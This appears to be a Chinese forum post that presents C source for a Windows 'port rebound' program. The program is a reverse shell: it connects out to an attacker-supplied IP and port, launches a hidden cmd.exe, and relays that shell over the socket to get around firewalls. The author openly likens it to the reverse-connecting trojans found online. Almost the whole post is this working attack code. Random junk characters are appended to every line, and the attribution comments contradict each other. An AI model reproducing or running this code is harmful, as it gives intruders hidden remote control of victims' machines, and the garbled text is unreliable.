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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Bu\:+3)  
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/* ============================== k<098F  
Rebound port in Windows NT I'M,p<B  
By wind,2006/7 B1GBQH$Ms  
===============================*/ 1I*b7t  
#include Vnu*+  
#include J1Ay^*qRU  
DRC2U%[  
#pragma comment(lib,"wsock32.lib") y3 vDKZ  
zCZ]`  
void OutputShell(); cg-\|H1  
SOCKET sClient; $d]3ek/  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u/5 ^N^@^  
bF5mCR:  
void main(int argc,char **argv) FaOfe]F  
{ Hp2y sU  
WSADATA stWsaData; SL9]$MmJn  
int nRet; Q{ibH=^  
SOCKADDR_IN stSaiClient,stSaiServer; nwOT%@nw  
D\}A{I92F4  
if(argc != 3) 'gDhi!h%  
{ Q:6i 3 Nr/  
printf("Useage:\n\rRebound DestIP DestPort\n"); =.Tc l"O[  
return; w%(Ats  
} Bg"KNg  
uTgvMkO  
WSAStartup(MAKEWORD(2,2),&stWsaData); .Du-~N4\  
o(=\FNe  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1'O++j_%y  
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stSaiClient.sin_family = AF_INET; x]~{#pH@<  
stSaiClient.sin_port = htons(0); v##k,R.d  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VM 3~W  
zJhG`iWFw  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Sm@T/+uG:  
{ \yIan<q  
printf("Bind Socket Failed!\n"); Z2HH&3HA  
return; {$,t^hd  
} u@V|13p<  
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stSaiServer.sin_family = AF_INET; bi^[Eh  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =0Z^q0.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); : MfY8P)  
;L <D-=  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7+!4pf  
{ 0X.(BRI~6p  
printf("Connect Error!"); (!^i6z0Sp  
return; f6\`eLGi1  
} #H0-Fwo  
OutputShell(); }XJA#@  
} it Byw1/  
k0@b"y*  
void OutputShell() C`4m#  
{ PV[ Bqt  
char szBuff[1024]; JDp"!x{O  
SECURITY_ATTRIBUTES stSecurityAttributes; <'{*6f@n  
OSVERSIONINFO stOsversionInfo; 'T!^H  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; reBAxmt   
STARTUPINFO stStartupInfo; w"A.*8Iu  
char *szShell; c#-o@`Po  
PROCESS_INFORMATION stProcessInformation; sbeS9vE  
unsigned long lBytesRead; %5?Zjp+9  
thT2U8%T  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ECZ`I Z.  
jN[P$} #b`  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5]-q.A5m  
stSecurityAttributes.lpSecurityDescriptor = 0; ?@*hU2MTC  
stSecurityAttributes.bInheritHandle = TRUE; -a=RCzX]  
YadG05PDe  
50< QF  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k H.e"e  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Vx gP^*  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); W 'w{}|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^k* h  
stStartupInfo.wShowWindow = SW_HIDE; \LN!k-c  
stStartupInfo.hStdInput = hReadPipe; -:$#koW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >cTSX  
C2X$bX"  
GetVersionEx(&stOsversionInfo); bfE4.YF  
{*BZ;Xh\8  
switch(stOsversionInfo.dwPlatformId) nzcXL =^r3  
{  z(Y zK  
case 1: ?:sk [f6  
szShell = "command.com"; (dH "b *  
break; 8zI*<RX.Q  
default: // k`X  
szShell = "cmd.exe"; ;2k!KW@  
break; o)V@|i0Js  
} Z9)-kRQz=r  
R^hlfKnt  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ><&>JgM  
*eF'<._[U  
send(sClient,szMsg,77,0); V_x8 Q+~?  
while(1) 3 i*HwEh  
{ c :d.mkF\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); e+TSjm  
if(lBytesRead) <n;9IU  
{ !l(O$T9 T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "mtEjK5  
send(sClient,szBuff,lBytesRead,0); GJ9'i-\*\  
} `K%f"by  
else j;7:aM"BQW  
{ ?LwBF;Y  
lBytesRead=recv(sClient,szBuff,1024,0); H(QbH)S$6  
if(lBytesRead<=0) break; ^oLMgz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -4;$NiB?  
} vWs#4JoG  
} {%&!x;%  
59@PY!c>  
return; S/2lK*F  
}
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